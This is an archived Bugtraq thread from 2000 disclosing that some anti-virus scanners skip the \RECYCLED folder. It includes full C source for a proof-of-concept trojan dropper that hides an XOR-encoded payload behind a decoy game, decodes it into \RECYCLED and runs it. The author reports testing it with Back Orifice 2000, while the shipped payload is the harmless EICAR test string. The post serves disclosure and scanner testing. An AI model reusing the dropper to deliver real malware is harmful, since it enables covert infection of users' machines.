Re: Bypass Virus Checking

From: salmeat_private
Date: Tue Feb 01 2000 - 18:10:34 PST

  • Next message: Crashkiller: "Re: RedHat 6.1 /and others/ PAM"

    --0__=vny8No2b3ktpSKZnc4lJyxwKYT07F4CXxqjY41YcjuxZG33hBfpnDUcx
    Content-type: text/plain; charset=us-ascii
    Content-Disposition: inline
    
    I believe the version of eicar.com you are using may not be recognised by
    some AV companies.  Try the test with the attached version.  I have tested
    it an Norton will detect in c:\recycled when placed and manipulated via
    DOS.
    
    -Ed
    
    (See attached file: eicar.zip)
    
    Edward M. Salm, Information Security Analyst
    IBM Virus Emergency Response Service
    300 Long Meadow Road, Sterling Forest, NY 10979
    (914)759-4870 / tie-line 248
    
    
    Neil Bortnak <neilat_private>@SECURITYFOCUS.COM> on 01/31/2000 12:39:59
    AM
    
    Please respond to Neil Bortnak <neilat_private>
    
    Sent by:  Bugtraq List <BUGTRAQat_private>
    
    
    To:   BUGTRAQat_private
    cc:
    Subject:  Bypass Virus Checking
    
    
    
    Greetings All,
    
    I originally released this vulnerability over the Christmas holidays on
    NTBugTraq. I spoke with a member of the Security Focus staff about
    getting it onto the web site and was told that I should post the problem
    here. During our conversation we decided that I hadn't been clear in my
    last posting and that I should re-do it complete with working exploit
    and source code. I hope this one makes more sense. The new version
    follows.
    
    Best Regards,
    
    Neil Bortnak
    InfoSec & Linux Consulting
    www.bortnak.com
    
    
    1.Background
    ------------
    
    Under Win95/98 the Recycle Bin is a system designed to make it easy for
    users to "undelete" files. When a user deletes from the GUI, the file is
    not really deleted but moved to a folder named "RECYCLED" located at the
    root of that volume. If the folder does not exist, possibly because
    nothing has ever been deleted on that volume, the directory is created.
    The file is then renamed and information about the file's original name
    and location are stored in an index file. When you look at the recycle
    bin through the GUI, Windows reads the index files from each volume and
    displays their contents. It does not display a raw directory listing.
    You cannot easily access a raw directory listing through the GUI. When
    you empty the recycle bin, Windows deletes all of the files in the
    RECYCLED directories that have a corresponding entry in one of the
    indexes. Therefore a file stored in a RECYCLED directory via DOS or a
    program will not show up anywhere in the GUI and will not be deleted
    when you empty the Recycle Bin.
    
    
    2. The Problem
    --------------
    
    By default, some virus checkers exclude the files from their batch and
    on-access scanning whose pathnames begin with \RECYCLED. That is, all
    files and subdirectories within the RECYCLED folder on every volume will
    ***NEVER BE SCANNED*** for any reason. Therefore you can store and run
    malicious code from these directories without setting off the virus
    checker. Since these files wouldn't have an entry in the Recycle Bin's
    index file, they will never be deleted. It's a safe haven.
    
    
    3. Exploitation Difficulties
    ----------------------------
    
    The difficult part about making this work from an attacker's point of
    view is getting the malicious code to the \RECYCLED directory. An e-mail
    virus checker will catch it as it comes into the network, and on-access
    scanning will catch it from the floppy drive. I've worked out two
    methods for getting the files into position without setting off the
    checkers.
    
    
    3.1 Trojan with encoded payload
    -------------------------------
    
    In my proof-of-concept code, I took one of those fun little games that
    are going around and made an "installation" program for it. The program
    uses a WinZip self-installer containing 3 files: a clean version of the
    fun game (hereafter known as the decoy), a setup program and a file
    called winsetup.dll. The winsetup.dll file is in fact the malicious
    program encoded by XORing all it's bytes with 25. By doing this the
    archive passes all virus checks with flying colors. This nicely bypasses
    any perimeter, e-mail, batch and on-access scans.
    
    When executed the WinZip installer extracts the files to a temporary
    directory and runs the setup program. The setup program copies the decoy
    to the users desktop. If a \RECYCLED directory doesn't exist, the setup
    program makes one. It then opens the winsetup.dll file for reading and
    creates a new file in the \RECYCLED directory. It copies the
    winsetup.dll file into it's new home 4k at a time, XORing it back to the
    original malicious executable. The setup program runs the malicious code
    in a hidden window and exits.
    
    I tested this idea using Back Orifice 2000. I configured it to install
    itself back into the RECYCLED directory after being run for the first
    time. It worked just fine. I downloaded the trojan, executed it, and
    connected to the BO2K server from another computer and none of the
    intervening virus checkers complained. That's really not supposed to
    happen.
    
    
    3.2 On a CD-ROM
    ---------------
    
    I didn't test this, but CD-ROMs are also excluded by default on some
    checkers. Someone can give it a try if they like (I haven't got a
    burner, but the theory is sound).
    
    
    4. Notes on NT
    --------------
    
    The exploit works great under NT. The anti-virus folk make the same
    exclusions with NT checkers, presumably to deal with dual boot systems.
    NT's default permissions allow this to work even when the machine is not
    dual boot and has NTFS on all drives because EVERYONE can create
    directories at the root. Just make a \RECYCLED directory and away you
    go.
    
    
    5. General Notes
    ----------------
    
    I don't see why the \RECYCLED directory is excluded. It's even more
    strange when you consider that the \RECYCLER directories ARE scanned.
    The \RECYCLER directory stores the Recycle Bin's files under NT. One
    remark I had from an AV vendor implied that it was unreasonable to scan
    files in order to catch XORed or encrypted viruses. That's probably
    true, but the whole thing works because of the exclusion of the
    \RECYCLED directory. That's the crux of the issue, the rest of the code
    just exploits the real problem.
    
    
    6. Vulnerable Scanners
    ----------------------
    
    These are the results from the checker I have available.
    
         McAfee Virus Scan
         Engine: 4050
         DATs:   4062
         Vulnerable
    
         Norton Anti-Virus
         Engine: 5.01.01C
         DATs:   01/24/00
         Vulnerable
    
         Norton Anti-Virus
         Engine: 5.00.01C
         DATs:   01/24/00
         Not Vulnerable: Identifies EICAR.COM as Bloodhound.File.String
    
    The problem is more sinister with NAV because the \RECYCLED directory
    DOES NOT APPEAR on the exclusions list. It's hidden and can be found
    only by having a look at the preferences file with a hex editor. There
    are other hidden exclusions in that file, but I haven't had the
    opportunity to think about possible exploits yet.
    
    
    7. Solutions
    ------------
    
    With McAfee, just go into the exclusions tab and delete the \RECYCLED
    entry. You do that at your own risk of course, as I have no idea why it
    was excluded in the first place. As for NAV, I don't really have a good
    solution that doesn't involve doing creative things with a hex editor or
    installing software, which is to say that I don't have a good solution.
    
    
    8. The virusexploit0100.exe file
    --------------------------------
    
    Included in this e-mail is a working exploit for this vulnerability. If
    you run the executable and your virus checker does not complain, check
    for the existence of an EICAR.COM file in the \RECYCLED directory. The
    correct \RECYCLED directory is almost certainly on your C: drive. If it
    exists your virus checker is vulnerable.
    
    To tidy up after the test, delete the decoy.exe program file that was
    copied to your desktop and the \RECYCLED\EICAR.COM file.
    
    
    Appendix A. Source Code
    --------------
    
    The following source files are for the programs that come in the
    virusexploit0100.exe.
    
    
    A.1 setup.c
    -----------
    
    /* Setup program for bypassing virus checkers */
    
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <dir.h>
    #include <io.h>
    #include <stdio.h>
    #include <windows.h>
    
    #define SOURCE_FILE ".\\winsetup.dll"
    #define DEST_FILE "\\recycled\\eicar.com"
    #define DECOY_FILE ".\\decoy.exe"
    #define DECOY_DIR_KEY
    "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
    #define DECOY_DIR_VAL "Desktop"
    #define BUFSIZE 4096
    #define XORME 25
    
    int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
    lpszCmdLine, int nCmdShow)
    {
    int sourcefile, destfile, bytesin,i;
    char buffer[BUFSIZE],szDirName[256],szDecoyDir[512];
    long lerror;
    HKEY regkey;
    DWORD ValSize = sizeof(szDirName); /* How annoying */
    
    /* Find out where the desktop is so we can put the decoy there */
    if((lerror =
    RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,&regkey))
    != ERROR_SUCCESS)
         {
         exit(0);
         }
    if((lerror =
    RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) !=
    ERROR_SUCCESS)
         {
         exit(0);
         }
    RegCloseKey(regkey);
    
    
    /* Expand the dir name on the off chance it contains ENV vars */
    ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir));
    rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE));
    
    
    /* It doesn't matter what mkdir's return code is. It'll make the dir if
    it
    doesn't exist or fail of it does */
    mkdir("\\recycled");
    
    
    /* Prepare to "decrypt" the infected executable */
    if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1)
         {
         exit(0);
         }
    if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY,
    S_IREAD | S_IWRITE)) == -1)
         {
         exit(0);
         }
    
    /* "Decrypt" it */
    while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0)
         {
         for(i=0;i<bytesin;i++)
              {
              buffer[i] ^= XORME;
              }
         write(destfile,&buffer[0],bytesin);
         }
    
    close(sourcefile);
    close(destfile);
    
    /* Run the infected executable. You would normally use SW_HIDE here. */
    WinExec(DEST_FILE,SW_SHOWNORMAL);
    return(0);
    }
    
    
    A.2 decoy.c
    -----------
    
    /*
    A lame decoy program by Neil Bortnak
    */
    
    #include <windows.h>
    
    int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
    lpszCmdLine, int nCmdShow)
    {
    char message[] = "This is the decoy program. Normally you'd use a fun
    little game\nor a self-playing animation of questionable taste.";
    MessageBox(NULL,&message[0],"Virus Test",MB_OK | MB_ICONINFORMATION);
    return(0);
    }
    
    
    A.3 winsetup.dll
    ----------------
    
    The unencoded form of this file is a standard EICAR.COM test string.
    
    
    
    --0__=vny8No2b3ktpSKZnc4lJyxwKYT07F4CXxqjY41YcjuxZG33hBfpnDUcx
    Content-type: application/zip;
    	name="eicar.zip"
    Content-Disposition: attachment; filename="eicar.zip"
    Content-transfer-encoding: base64
    Content-Description: .ZIP File
    
    UEsDBAoAAAAAAKNTNCgjS4psRgAAAEYAAAAJAAAAZWljYXIuY29tWDVPIVAlQEFQWzRcUFpYNTQo
    UF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCoNClBLAQIU
    AAoAAAAAAKNTNCgjS4psRgAAAEYAAAAJAAAAAAAAAAEAIAD/gQAAAABlaWNhci5jb21QSwUGAAAA
    AAEAAQA3AAAAbQAAAAAA
    
    --0__=vny8No2b3ktpSKZnc4lJyxwKYT07F4CXxqjY41YcjuxZG33hBfpnDUcx--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:33:01 PDT